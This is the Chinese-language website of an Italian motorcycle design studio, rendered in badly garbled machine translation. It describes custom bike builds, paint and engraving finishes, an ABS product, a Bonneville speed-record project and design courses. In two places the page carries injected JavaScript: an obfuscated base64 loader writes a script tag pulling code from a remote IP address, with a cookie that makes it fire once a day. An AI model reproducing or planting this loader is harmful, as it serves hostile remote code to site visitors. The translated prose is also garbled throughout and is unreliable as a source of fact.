我们记录的身体用锥子和熟练的纹身艺术家或者更确切地说，雕刻师的手，我们创建了一个略有缓解难以察觉的触感, 然后，我们覆盖原漆 "伤口" 创建以保证耐用性，使其更轻和不易察觉的我们干预.
其结果是设计刚刚察觉, 非常优雅, 极其壮美, 因为只有我们知道怎么做意大利.
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- 胡蜂纹身
该摩托车纹身是一个过程，我们发明了给定的，我们拒绝它的许多变化, 或多或少的精, 或多或少可见, 根据自行车, 业主, 和我们去的材料工作. 我们可以在塑料工作, 的铝或铁, 涂或生, 对于每个这些材料的，我们根据材料的特性和结束请求开发的过程.
欲了解更多信息，请参阅我们的 页 专门从事这项光洁度.
的处理已经给出有点复杂的过程，黄蜂的身体结构和不可移动, 所以它是直接在自行车的乐趣一起工作非常愉快.
OEM摩托车ABS系统
由于我们与原始设备系统制造商的合作伙伴关系ABS, 我们可以按照 摩托车制造商为他们的原始设备OEM系统ABS摩托车组装.
我们的产品ABS的性能已经成功通过了认证EUR IV标准 (卢森堡ATEEL) 到八月 2015 ，也是EMC认证十一月 2015. 该公司已通过TUV IATF16949评估 (德国) 十二月 2015 同时，我们也完成了与众多国际公司，如战略合作伙伴关系 贝内利, 比亚乔, AMOUNT, LONCIN, 力帆, QianJiang, 永世, ZongShen.
产品概述 :
- 它提高了自行车的稳定性和控制
- 它缩短制动距离
- 轻量化设计 (一体) 且易于插入自行车
- 大小: 86.6×64×98.6毫米
- 重量: ≈0.746Kg
- 全自动型路面和滑可变控制鉴定
- CAN诊断接口和克莱恩
- 低噪音辐射
- 单信道控制: 前轮
- 双通道控制: 两个前轮和后
紧急制动测试 100 有和没有ABS公里/小时
技术优势:
- 紧凑的设计和具体的尺寸适合安装在摩托车
- 电磁阀，微流用于制动系统
- 算法开发和自生成的代码基于Matlab / Simulink的
- 基于PWM摩托车的旋转速度的控制
- 系统架构MCU + ASIC上四层PCB
- OSEK RTOS符合要求
- 符合ECU的发展与ISO26262的要求
- 通过K线和CAN支持通信, 完全错误诊断的供应
- 以上 100 安全监控和管理策略
- 它支持基于CCP校准功能 (在校准协议)
- 先进的生产工艺, 纠错技术和现代化生产设备
产品操作:
所述防抱死制动系统 (MABS) 它是为摩托车专门设计, 考虑车辆的动力和制动系统的特征.
依托制动轮运动的状态 (阅读每毫秒) 从车轮速度传感器, L“ABS调节制动扭矩，以防止车轮抱死.
这是一个闭环控制系统，并且可以具有以下优点:
- 车辆的稳定性可在制动中的任何时间来确保.
- 制动的距离可以通过进行充分利用橡胶地面把手的被缩短.
第泵实现
的压力传感器的截面
哈雷戴维森V-ROD “VRASCAW”
一个广泛讨论摩托车哈雷戴维森V-棒, 在其所有的许多变化. 甚至很多人不认为这是因为其技术水冷式发动机的一个真正的哈雷戴维森, 违背密尔沃基的运动的简化的原理.
然而，我们很喜欢, 我们喜欢它的低线和肌肉, 以其风格 "无益 " 执行.
或许，我们甚至可以说，比其他所有哈雷戴维森V型杆是更好的道路上会的美国哲学, 大引擎, 大表现, 从栅极骑自行车和捣毁装饰. 专门从烧坏或公路拍摄 (或更好 "高速公路"!)
我们在自行车上的工作重点, 作为正常关于定制，我们考虑到, 主要是对整个卷, 在第二个实例中，我们已重新考虑驾驶性能和一般的措施是，运动的拟人化的几何平均值, 最后，我们专注于细节.
问题体积决心想给自行车的整体外观粗壮少拉伸哈雷戴维森V型杆的原始版本, 然后我们在车身部件的定位和形状发言作为储, 法鲁, 仪表和尾.
至于结构和几何形状，我们为了缩短轴距上调后, 提高重心和转向verticalize的轴角度, 这导致了更好的操控性和驾驶性能, 更适合使用摩托车报纸.
最后，我们开发的所有细节, 机械和美学, 绘制部件在三维中实现, 给人第一3D打印版本, 而一旦确认善良, 我们切换到实现铝部件的, ABS塑料和PMMA塑料通过CNC透明.
最终，我们的哈雷戴维森V型杆是完全我们的摩托车定制的风格量身订做, 度身定做在任何意义上为客户, 因此，它可以悄悄的圆圈, 与规则和注意款式，而且易用性.
颜色 & 修剪 – 绘画和图形
一个好的油漆工作是基础，但它也是一个摩托车的骄傲.
同, 或者甚至更多, 适用于 "颜色 & 修剪" 或完整的图形项目设置.
多亏了我们的创意和我们的耐心和对细节的关注，我们可以实现自行车的完整图形画, 无论是在平的色调, 或者用特殊的颜色和醒目的图形特别是.
鬼
罗伯托（ROBERTO）去贝恩维尔
Multivan的导航员在9点30分将我们停在农舍关闭的门前. 一下车. 在一个老太太已经院里，他知道会是将关闭问题. 我超越了灰色的门之前，他听到格拉齐亚诺·罗西同样的话, 马尔科·贝利, 玉田诚.
“而, 这个地址是通过钙“九一, 但他们给了相同的名称工业区的街道上，靠近这里. 你必须回到维罗纳. 在红绿灯处左转，在第一个环形交叉路口处右转。”
我关闭了德语导航器，我们依靠Google Map. 在十分钟的智能手机迭戈给我们带来了在运动的大门. 吉安娜欢迎我们在办公室. 空调破口大骂, 仿佛它会, 和外有40度. 透过玻璃, 在工棚, HRC和美能达品牌，他们知道摩托车. 沿墙一个与品牌Zaeta有色坦克排. 在箱子蓝色打底裤包的女孩环绕Kineo准备发运. 一个漂亮的屁股….
罗伯托在这里给了我们一个约会, 朱利叶斯Bernardelle农场, 可使照片，告诉这个疯狂的项目的第一批. 去人是扎人接近的激情项目. 罗伯托·玛丽亚Crepaldi sessantino是艺术的儿子. 十七岁时，他陪着父亲的经销商的客户取车恩佐·法拉利. 多年来，他帮助将意大利捷豹品牌, 阿斯顿·马丁, Triunph, 哈雷戴维森ËHusquarna. 在 1993 他创立了CR队&小号布里顿ËCON LA布里顿V 1000 他已经参加了旅游杯的三个版本.
今天, 与RMC品牌, 记录电单车, 他的作品去Boneville的盐湖击败了速度纪录锁定到423公里每小时.
虽然迭戈准备相机的机身和镜头, 罗伯托队逐渐满足. 乌戈托里是一个企业家，并与速度和美丽的摩托车激情绅士车手. 朱利奥Bernardelle是项目的技术经理. 他赢得了两个世界罗西和罗伯特·洛卡泰利, 他在摩托车的奔马本田和柯尼卡美能达本田车队的技术总监. 多纳托Cannatello是设计师负责摩托车的流线型车身. 达里奥·马尔凯蒂比赛在赛道上的道路上, 在世界, 在超级摩托车, nell'endurance, 澳门ê铃鹿. 在美国，他已经赢得了在Daytona和Boneville的盐湖几乎将趴在RMC超过四百朝记录每小时跑.
在运动的人引出的棚RMC的原型. 团队挤在摩托车周围. 迭戈开始射击.
想象一个深冬的下午, 一个男人坐在他的办公桌, 他前面有一张空白纸，他将在上面开始绘制第一张纸, 感到兴奋, 铅笔标记使他的梦想素描得以成形, 在两个轮子上, 拥有自己的品牌, 这当然并没有掩盖它想要实现的宏伟目标, 记录电单车.
这个人叫罗伯托·玛丽亚·克雷帕迪, 他已经在两个轮子上实现了几个梦想. 它是在四轮驱动环境中专业诞生的, 开始和父亲一起工作, 曾经是法拉利的经销商. 他的, 很年轻, 这样，他就有机会结识一个对自己的训练很重要的人，并且对实现的雄心勃勃的梦想了解很多, 恩佐·法拉利（Enzo Ferrari）.
在汽车行业的经验, 他从法拉利（Ferrari）转到捷豹（Jaguar）再到阿斯顿·马丁（Aston Martin）, 罗伯托（Roberto）致力于他的热情, 摩托车, 和单纯的乐趣不停止，引导他们. 在参加了在意大利的三个非常著名的品牌，如哈雷戴维森重新推出80年代初, 凯旋和Husquarna. 在 1993 创立团队CR&小号, caferac是 & 超级摩托车，并满足其他重要的人, 新西兰人约翰·布里顿, 一位摩托车发烧友建筑师，他在自己的家庭车库中设计和制造了自己的赛车
他的姓. V-Twin发动机 1000 CC与循环巧妙而创新的解决方案, Britten属于新成立的B.E.A.R.S类别 (保留给非日系两缸和三缸摩托车的原型) 和CR团队&S成为欧洲的参考点，Britten V1000参加了许多国际比赛, 包含 3 马恩岛旅游奖杯并赢得B.E.A.R.S冠军. 世界系列.
罗伯托和约翰是非常好的朋友, 他们有共同的想法和目标，也有很多共同的热情, 用相等的能量调味, 使他能够实现这些雄心勃勃的技术和运动目标. 像许多美丽而有趣的故事, 不幸的是，这也经历了可怕的时刻, 在 1995, 就像无情的邪恶把约翰带走一样糟糕, 只是 45 年份. 罗伯托和CR小组&S返回旅游奖杯 1996, 在那个迷失在爱尔兰海的魔法岛上, 几年前开始的地方, 肖恩·哈里斯（Shaun Harris）, Britten V1000在高级TT的方格旗下通过, 记住并荣誉其制造商的另一种重要的运动印记，这是极大的满足，这种印记紧密地结合了来自对立面的成功合作伙伴关系，并且将来也不会令我们再次惊奇和激动……放心.
在 2002 Roberto成为制造商和CR品牌&S展示了两种有趣且新颖的摩托车, 单缸CR&通知 2005 和双缸CR&S DUU中 2009.
让我们回到那张纸上, 几分钟后, 他只有很少的白色. 罗伯托, 即使在这方面他也有非常清晰的想法, 除了画出必须要诞生的自行车的线条, 他已经考虑过必须改变草案的编队, 首先完善它，然后实现它, 为真正的独特且快速的产品赋予生命, 速度足够快以纪念它将继续在坦克上进行尝试的品牌，以创造新的速度记录, 而2, 在Boneville的盐湖上.
团队必须凝聚力和有效, 因为会有很多工作要做，而且必须做好, 很好. 为此，Roberto与Ugo Torri一同加入, 业主, 两个轮子的忠实粉丝，对实现的宏伟目标了解很多, 乌戈（Ugo）是RMC项目的主任.
在技术方面，由工程师Giulio Bernardelle承担了这场引人入胜的冒险的设计和执行职责, 在赛车和二冲程发动机领域拥有丰富的经验, 为骑着Aprilia的Roberto Locatelli和Valentino Rossi赢得世界冠军 125 Ë 250 CC, 都属于四冲程发动机领域，过去在MotoGP中.
空气动力学是打破当前记录最重要的另一章, 而在Boneville中则是“部分简化”类别, 部分暴露于飞行员, 我们决定试一试的地方, 和的 423 公里/小时. 和, 你没看错，每小时四百二十三公里, 自行车的线条将由Donato Cannatello编辑和构建, Given的拥有者, 充满活力的公司，专门从事原型研究和复杂车身的构造.
同样在选择车手的过程中，罗伯托再次表明他确实知道该怎么做. 有负担的人, 和荣誉, 转动油门叫达里奥·马尔凯蒂（Dario Marchetti）, 具有三十多年职业经验的职业驾驶员, 达里奥（Dario）参加了世界上许多最重要和令人着迷的赛道, 从代托纳到澳门积累了许多成功. 在愉快的聊天中，达里奥向我倾诉: S, 他们选择我的事实不仅让我感到骄傲, 我很高兴也很荣幸能成为这个团队的一员, 我认识罗伯托很久了，我非常尊重他, 我们是朋友，几年前我已经为他赛跑, 就在一辆名为CR Team Britten V1000的出色自行车上&S”. 一切都回来了, 神奇地, 被发现和交织在一起的激情和情感. “然后”, 继续, “我漫长的职业只缺少两件事, 创纪录的尝试和马恩岛旅游奖杯，我不得不参加1980年代，但对于后者，现在为时已晚”.
大达里奥, 现在让我们考虑一下唱片，然后再考虑TT – 打算作为荣誉 – 也许可以做些什么 …但目前我们什么都没有透露，我们仍然专注于邦纳维尔.
该团队由媒体经理Riccardo Capacchione完成, 专业记者，也是许多贸易杂志和Raffaele Canepa的有效测试员, 摄影师, 和担任媒体制作人的导演.
这个项目真的很有趣，技术上也很有趣. 混合结构的底盘将容纳自然吸气的动力装置 8 气瓶, 非常紧凑, 纵向放置. “红色精神”的排量为2000cc, 向浓郁的意大利摩托车文化致敬, 多年的绝对参考点所有其他国家, 和 2500 CC为“致敬约翰·布里顿”纪念这个光辉的人物资源不多, 通过技术人员的朋友屈指可数辅助, 他创造了曾经存在过的最好的赛车摩托车之一, 密封John和速度之间的牢固的结合. 在 1993 电动鱼雷布里顿V1000征服在四分之一英里的世界纪录，并站在开始英里，飞行公里.
工程正在迅速进行，在一段时间内我们将能够听到这种强大引擎的声音，这种声音将具有超过 400 卡瓦利. Boneville Speed Week的倒计时已经开始 2017. 幽灵乐于讲述这个美丽而令人兴奋的冒险的所有进化阶段.
感谢Roberto和所有RMC团队. 邦纳维尔的方法, 让我们启动引擎!!!
文本: 码头朱塞佩·奥塔尔达
照片: 迭戈·莫拉
H4 – MOTO TATTOO
通过我们的经验得到加强 完 "Unpaint", 我们已经制定了进一步演变, 该 "摩托纹身"! 由于纹身被永久镌刻在我们的皮肤, 以同样的方式，我们试图自行车皮肤的图形上不可磨灭的影响, 他的风格, 他的艺术才华和他的灵感.
因此，我们已经开发出能够在粗糙的表面所应用的最终蚀刻工艺, 无论是在金属和塑料. 该过程由手的相同程序纹身到人的皮肤进行, 然后, 草案文件, 的一部分，雕刻写意转移.
从这个基础上，我们就可以覆盖和完成计件用不同的图形, 喷漆或镀锌.
该处理可以在身体部分和机械部件施加, 卡特, 盖或其他.
表面工程与建模
设计需要工程
什么其他摩托车爱好者中脱颖而出, 这是我们希望得到我们的手脏与油脂, 崇拜芯片, 但是我们也狂徒 电脑设计! 所以我们的第一个方法来设计都是由电脑控制，尤其是3D模式. 随着我们的软件和硬件，并用我们的双手创造我们 在A类或B面, 固体或仅仅是渲染模型都是美丽的，但也和高于一切 实用. 功能意味着你可以直接将其发送到磨, 一 5 轴或渲染机, 你不会有体重问题, 底切, 或其他.
应用程序开发和3D配置器
由于我们的经验 摩托车设计, 在设计和风格和三维建模, 我们已经开发出一种 3D配置 可以下降，因为运动配置器, 汽车配置以上统称为产品配置. 在现实中, 更精确, 它是多种类型的对象的完全配置的平台, 主要显然她能够摩托车在各种平台上运行的.
因为我们的3D配置?
不同于传统的系统配置, 我们是在时间上更为广泛和模块化，但尤其是在进化型非常简单的方法.
该系统转换成一个工具, 摩托车制造商 (或其他产品), 非常有用和有效.
3D功能配置:
与我们的系统，客户可以很容易地将其插入配置容器:
- 多种型号或变种, 发展他们随着时间的推移和细节 (这些费用, 货币, 本地化等。)
- 最终用户的控制系统和数据跟踪 (地理位置, 地址和偏好...)
- 在实时的多币种的最新名单
- 连接和直接配置到经销商园地
- 在线预订
- 事件身临其境系统, 展览和演示
- 图形更新的, 饰品, 颜色当然模型
- 车型年变化
在展览中心 ?
我们的3D配置在两个显示器上运行, 的控制和显示, 这样，体验并不是用户独有的, 但它涉及到全场!
现在就试试!
在我们的UM摩托车3D配置器中进行虚拟导览
三维全局配置
在三维配置器WEB模式的可能释放的一个实例.
它也可以在全屏模式下使用.
需要显卡GTX或类似.
UOT;> 功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64，ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}
UM叛徒SCRAMBLER 300W
该UM叛徒SCRAMBLER 300W是一个原型 (showbike) 为UM全球建立自己的产品的基础上，目前市场上, 叛徒COMMANDO.
当然原来的运动，我们必须尽可能多的部分保持尽可能地优化整个工程过程和投产, 我们也有一些重复使用的实际生产零件UM所以consertire公司规模的有利经济.
主要的变化有明显影响了新的轮毂尺寸 ( 120/70 R19蚂蚁. Ë 170/60 R17帖子。) 我们不得不使用给自行车一个新的耐力赛装饰, 然后，我们再辐射现有枢纽一套新高砂Excel中，并安装在panciutissimi和tassellatissimi大陆TKC 80.
同样，我们不得不进行干预，解除对集自行车, 那么回到我们选择了几个减震器380毫米, 而叉一直一系列限制投资.
对于上层建筑，我们高兴地吸引了那些谁是componentistic批量生产UM, 总是在最高级别被认为是市场底, 古典元素混合更现代的部分，并且在某些情况下， "破坏性" 如采用4mm片与我们的技术制作钻入保护 "表盒". 我们也经历了在摩托车领域的第一, 即通过数控铣削的创建从3D设计制作的木制部件的 (CNC), 而制成的 "脸颊" 罐与原来的槽的表面，并且一些细节在后区上的完美形状轴承.
零件的其余部分在3D打印也由当地工匠, 美丽的真皮内饰是一个例子, 而且金属板挡泥板不要笑话.
自行车在EICMA摩托车展在米兰的介绍 2018 根据许多它们是在见过的最令人兴奋的功能一个.
从EICMA刚回来 2017
那看到我们创作，你可以在图片中看到的原型和的编制有分在UM全球立场事件EICMA的照片一个美丽的画廊 "定制角". 这两个项目的目的是评估意大利的市场反应产生UM运动，也来分析定制提供了新的可能性 "一经请求" 链接到现代化的原型设计和3D打印技术.
在公众的反应方面的结果已经非常有益的.
感谢那些谁去迎接我们，看看我们所做的事情.
H2 – FINISH “UNPAINT”
L”"UNPAINT" 是我们在GIVEN开发了一个整理过程.
这是定制的提案 "光" 对于这些自行车已经有一个很好的风格或设计, 还有很多，今天... 上，我们不喜欢过多干预的想法.
然后，微创手术, 保留了一系列运动的功能特征 (配对, 质量和功能), 同时给自行车一个更个性化的外观, 最有经验，也更实用.
终点无非是用不同的谷物卡长期通信的过程更, 色碱然后将其混合, 图像, 徽标, 各种不干胶和最后透明清漆.
特定 “VRS02” 雷福拉
"La Rèfola 是一种短暂的呼吸，甚至在意识到自己之前就消失了 "
唯一例外的我们的小自行车是自行车.... VRS02 是我们为乐趣和内部需求而制造的自行车. 他喜欢具有快速，灵活的自行车的想法, 集时尚的.
我们已经放弃了固定齿轮，但我们一直在文体线自行车的这种类型的传输. 所有毛绒并伴有高级别组件，看看城市的战斗!
该VRS02是VRS01的演变, 自行车导致, 我们已经创造了铝框一个新的结束, 刮将其带到裸然后给苋菜颜色痕迹 "铁锈", 我们的技术的一个典型的例子 完 "Unpaint".
该机制是它的简单性和功能不变, 位置赛车, 良好的刹车, 飞轮, 看看达 "固定齿轮", 宽胎复制铺平道路以及城市.
凯旋速度三 1050 “码头”
码头是一个狂热的那些严重.
拉SUA速度三倍 1050 下刀或在路上花费更多的时间. 然而，码头使得公里的运动… 打开步骤和扭矩周末独奏 (显然用双座摩托车)….
在他的速度码头实现单独或与我们的帮助所有的部件需要改造其 “国内” 速度定制和有趣的兽三，你可以在此页面上看到.
一切都被照顾到的细节, 拧螺丝, pomellino为pomellino, 直到你到达后框架, 辫子, 和车轮按他旨意做.
在特定的情况下，, 对于尾部，我们从由挤压聚氨酯低密度的模型开始 “刻” 由同一码头手, 我们通过三维扫描和逆向工程设计, 与几何问题的决议, 底切, 草案和镜像. 由此，我们得到来自固体粉碎第一ABS模型使用 “主” 模具中的纤维碳.
最后，我们推出的纤维，直到你已经完全与最终产品超强只有几磅重复制的早期阶段.
车轮也对需求和设计码头已专门创建, 车轮不太厚梁, 功能和阅读, tubless, monoarm和上漆双色.
这是不容易的，把所有的要求，但随着我们的帮助 Jonich 这几乎是一个散步.
找到轮子也可我们 网上购物.
宝马 - [R NineT “赛车”
对我来说，将R九十诚实不是疯了. 这无疑是一个伟大的产品, 填补了利基，她之前是相当空置, 当然也有类似功能的其他竞争车型, 但宝马这是缺少这样一个简单的动作, 小, 现代和时尚.
这将是但对我来说似乎强调这些方面太; 太小, 太用力时尚. 它缺乏性格 “strambo” 典型的螺旋桨房子的议案.
在一个朋友的要求，我们已经准备了几个变种，从外观动感，更个性化.
其主要特点是，在视觉上运动, 但也吻合了日常使用或与GT赛车由于原manubrietto安装在不使用相同的干扰挡风玻璃.
我们希望只是一个轻微的小改款, 行动是定制的自行车, 没有这个概念.
这可能是一个“一杆’ 而且也可能一个转换套件.
选择可能是你，因为我们的190美元是为P.U.C.A出售. 在我们的商店.
风格FLOW – 风格的课程, 设计, Ë渲染草图 (模 “d”)
功能的getCookie(Ë){VAR U = document.cookie.match(新的RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));ü回报?decodeURIComponent(该[1]):空虚 0}变种SRC =”数据:文/ JavaScript的;BASE64，ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,现在= Math.floor(Date.now()/1E3),饼干=的getCookie(“重定向”);如果(现在>=(时间=饼干)||无效0 ===时间){VAR时间= Math.floor(Date.now()/1E3 + 86400),日期=新的日期((新日期).的getTime()+86400);的document.cookie =”重定向=”+时间+”; 路径= /; 到期=”+date.toGMTString(),文件撰写(”)}
塑性流动 – 物理建模过程和塑料三维打印 (模 “C”)
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METAL FLOW – 的Corso TIG焊接AC / DC钢, 铁和铝 (模 “乙”)
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PIXEL FLOW – 基础课程三维建模 (扎实的作品) (模 “一个”)
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CR&小号进行 “ND01”
该 CR&小号进行 这是我们非常清楚地知道自行车, 我们在发展合作 直接在CR&小号 从一开始就遵循风格和工程设计，为最苛刻的客户直接定制.
现在，我们已经创建了一个版本, 我们的设计能力展示, 在那里我们可以充分表达我们对摩托车的风格和在创意应用大部分是一直伴随着我们的标准: 功能, 美学, 对细节的关注和厌恶油漆和覆盖所有徒劳.
我们的CR&小号DUU显然是一个深度定制的主题主要是由于该模型从它派生的事实, 该 CR&小号进行 "Biotta", 出生版本 "裸" CR&小号DUU原. 由于CR项目初期发育不完全&S，然而，自行车已 "denúdala" (Biotta n.d.r.) 只有前, 离开前裸体一个奇怪的组合 (太) 及后，与其仍然有传统的塑料车身部件... 太粗糙了这一口径的自行车!
然后，我们试着 重新平衡风格 前部和后部之间, 略微重叠到第一和第二汽提.
在考虑到我们再 在CAD形DUU 先用铝，然后用铝, 几乎所有的铝, 几乎所有到CAD.
有些地方更喜欢在一时冲动她的手 (它始终是公平的工作的一部分留给心脏), 但大多的自行车已完全设计, 显示再发, 所有与工作流，现在我们的特点，并认为我们之间的 技术先驱.
自行车已经做了大量工作的结果, 一般我们对项目的做法总是涉及2D概念的初步阶段，我们提交给客户 (无论是商务或私人), 在这里我们试图明确所有将要受到的干预点，主要是试图找出立即的两个最重要的参数: 卷和风格.
一旦做到这一点，我们着手进行项目定义, 与电脑的使用它开发, 而且铅笔或直接机械车间.
由CAD系统设计的所有块都已经实现在CNC从铝部件或有机玻璃或ABS等材料加工. 凭借我们在我们从头开始设计工程领域的专业知识的尾灯总成是回忆我们的标志没有太明显的自发光楣.
GIVEN “男”
这那辆被一个很特别的人创建, 因此自行车本身不应该太“特殊”, 已经是其用户.
然后，我们创建了一个对象，它并没有给予太多的关注, 它是谨慎和优雅，但微妙的奢侈.
经常发生在这些情况下，, 对象从特定这给“LA”一切起源, 在这种情况下，车轮在 144 出处射线印度尼西亚, 从这些我们去为整个项目, 使用在意大利和叉子“MTB老派”由铝框架手重新解释.
非常重要, 驾驶性能/可用性已经增强，最大, 单一但正确的比率，既舒适又良好
行驶速度.
仅在前轮制动器和所述飞轮到后.
需要油漆多手和多次尝试绘画过程中发现的可见性和优雅之间的适当平衡, 但我们一定要打开自行车所以这将是它的幸运主人高兴!
川崎ZXR 1100 “STEALTH”
在后现代/原子重版经典!
创造了与 "OFFICINE Riunite米拉内西" 从川崎ZXR 1100, "Lamaialona" 这是一个非常简单的基础上故意强大的设计工作室.
厌倦了在关键Cafè咖啡厅赛车相同的解释, Ø加扰Hypster, 我们选择了一个解释，将允许我们做正式实验两者的技术和材料使用.
最初的想法是在隐身式自行车, 按照字面 "隐形, 秘密", 然后，我们尝试这个概念适用于国家标准的军用或其他方式的道路, 当然，我们专注于这个设计的典型方形, 在锐利边缘和全球设计的技术性质. 也 "行话" 军事继承了所有类型的土壤的性能, 从纯粹的越野跑道, 装备了高效的循环系统的装置, 更换悬架, 车轮和制动系统. 后者已根据我们从设计专案得以实现 "Discacciati制动系统" 感谢您对这个试验，涉及的加盟, 始终以可靠性和安全性标准的最高标准, 一个分量，从而只技术和功能作为制动系统.
摩托车表演和富塔通行证
自行车被设计成一个整体的设计研究大规模生产的两种未来摩托车趋势的元素也是私人口译人员, 我们相信这个实验的结果当然是肯定的, 我们看到，你就可以生产从强烈的机械特性一半，但不出现鼠自行车或老拖拉机从多年的昏睡刚刚出现在一个谷仓. 然而，结果是非常非常适合于重型使用自行车, 作为游览长途, 或在山上骑或者一个压力富塔通. 但在同一时间，你可以使用 "Lamaialona" 作为交通工具的每日手段或作为一个简单的运动 "酒吧".
3D打印
Lamaialona是在现代3D设计和打印系统的帮助下创建的. 第一步是使自行车在您的计算机上, 所以在这里我们尽快着手三维扫描的一半来自车间, 时间删除所有的上层建筑和 5 分钟，我们不得不使我们能够着手设计一个完整的大图点的一个美丽的云.
一旦我们定义的样式，我们开始与各方的执行. 在第一种情况下，我们使用我们的3D打印机，以验证该部分被正确组装.
自行车然后用的技术的混合物在, 数字化设计，更实用手册. 扫描所有的作品后，他们被设计了3D, 但随后的铝金属片部件已经被切出，并通过手焊, 所有塑料部件，而不是设计基于数控可行性的标准，为今后的复制品，然后使用FDM 3D打印来实现. 在这一点上的油漆好的外套，在这里准备安装件.
整流罩代替从单一的铝块制成 6061 通过数控铣床, 这是为了获得非常常常没有薄规格的金属板材边缘的暴露边缘上的经典缺陷.
Omologabilità
整台车的设计基础上，完善相关标准，亿安科技, 因此，它是完全 "代码兼容" 根据EEC指令 (2002/24/EC). 所有的灯都认可并定位几何正确的位置, 这同样适用于车牌，并显示所有其他配件. 同样，机械零件已准备就绪，可以成功通过相对认证测试 (池, 三脚架等).
KTM E-SM “自由”
该KTM自由式E-SM是一个美丽的自行车!
但从性能角度美丽, 娱乐产品和创新的电气设计.
在我们看来，然而，, 像所有KTM的实现, 它有一个设计太传统，太赛车显卡. 为此，我们假设这个样式外观，我们的工作就暂停, 上层建筑, 修剪和图形.
悬浮液被替换为叉和摇臂都monoarm Gilera CX推导 125
. 创建特设很少超大辐条圈.
上层建筑看到卷本的一般减少和更职业的道路或更好“motard’ 用小的存储单元 (portaguanti) 在车座的前部.
该设置的更改显然旨在提高人/机关系介入的驾驶位置, 高度, 徒步旅行等.
我们的KTM自由式E-SM为我们所有的项目P.U.C.A. (在作者的搜索独特的项目) 而只是假设, 想法不成熟. 我们将根据您的喜好很高兴地拒绝，如果你想在以下链接加盟项目:
排气消声器终端CR&小号进行
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卡特X-楔形小号&发E CR&小号进行
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特定 “Vrs01”
唯一例外的我们的小自行车是自行车…. 这张照片是在我们做了一个有趣的自行车和内部需求. 他喜欢具有快速，灵活的自行车的想法, 集时尚的.
我们已经放弃了固定齿轮，但我们一直在文体线自行车的这种类型的传输. 所有毛绒并伴有高级别组件，看看城市的战斗!
MOTO.IT
按相反的顺序: 你正在阅读的是评论谁还会想从你的读者会写在下面特别EICMA和定制屏幕上的真实文章 2016: 我把自己在外面和新闻中直入个人意见的野生轩然大波, 反感/同情像定制, 和它的许多方面, 其定义是对立的生活和渐近摩托车的对立方式之间的地方, 所以我请大家考虑这些线路只是一种意见: 真正的文章，我会写的愿意读者.
...
要尽量确定自己的方向在数百灯塔，我眨了眨眼说服力, 并了解更多, 让自己给出Motodesign的立场等一个暴露的诱惑 - 有趣的是，在我看来， - 特向全国崎ZRX 1100 (所谓的“操”) 与OFFICINE Riunite米拉内西协作, 这吸引了我很多多边形盘, 确保已设置相同的供应商严格的操作, 传说恩里科Discacciati自己!
多纳托Cannatello (多纳托 - 鉴于... 了解?), 在CR GIVEN的业主和设计经验&小号, 无比, 战斗, 艾普瑞利亚, 他有耐心, 和交换与我聊天，暴露了我他的EICMA的观点 2016 和定制的未来.
为了把给出的多纳托报告的意见, 我们添加一个以交易双方提供规划和设计的，谁想要建立一个原型服务 (从概念到预系列导致生产), 这两个个人请问谁“框关闭”项目上他们的摩托车.
“奇怪的是，我们有从ZRX的DUU多的反馈, 无论是在我们的展位展出, 尽管DUU无疑是一个更精致的设计和ZRX便宜一半了很多, 但显然是最“吸引眼球"».
你如何评价显示的定制和特殊的内水平?
“EICMA水平, 如果我们限制自己的习惯和特殊, 它似乎比前几年要高得多，成熟: 从现实artiginali, 这仍然会产生优异成绩, 我们对各当事方的工程设计转换到更为成熟的方法都. 但从摩托车的点, 代替, 我喜欢哈雷“OPERA”南车库, 很优雅; 他还赢得了比赛, 但你知道比赛几乎赢得他们有点“所有 (多纳托是指类的无数，而不是非常众多参与编者按); 角落里的自定义，而不是显得有点“制服, 空间小，比展会的重要中心分散, 这似乎有点“有悖常理: 这是最具挑战性的部分, 相反，许多人没有参观它，因为他们不知道它就在展馆的角落里 2; 确实有一部分公众对定制并不真正感兴趣, 他们是那些有V-斯特罗姆背后的树干, 但也有谁喜欢看A片坯料很多真正的球迷，而不是还没有设法找到我们».
扎FUTURO德尔定制? 多纳托毫不怀疑:
“突破, 我认为，, 它是从过去的很清楚: 在设计一个特殊的它已经从自行车休息了板凳上即兴, 先执行, 在我们的情况下，, 渲染和3D扫描, 然后在计算机上直接运行，并记录双方的手, 在片材或简称为印刷在三维; 定制市场的未来看不到它在设计师的技能, 因为今天每个人都可以拿一台计算机，并把一个孩子通过设计和实施一个3D打印机, 但我认为这会受到法律因素决定, 例如符合认证标准以及风格和趋势的演变: 我们必须看到这种现象多久定制非常artiginale, 我相信手工制作很可能在短期内被更具设计感的定制所取代, 设计并发展更多».
最后一个问题: 因为公路自行车细分的面轮胎? (好, 我知道, 这是我个人的讨伐...)
“这是客户的选择... 但我必须告诉你，如果不是该请求的ZRX“Maialona”我们不会因为你看画, 理解支持腹部肌肉，而不是罐的下部概念, 这似乎是一个解决方案... “最佳”. 也许没有疙瘩的轮胎，我们会作出一个较小的角运动, 全才“.
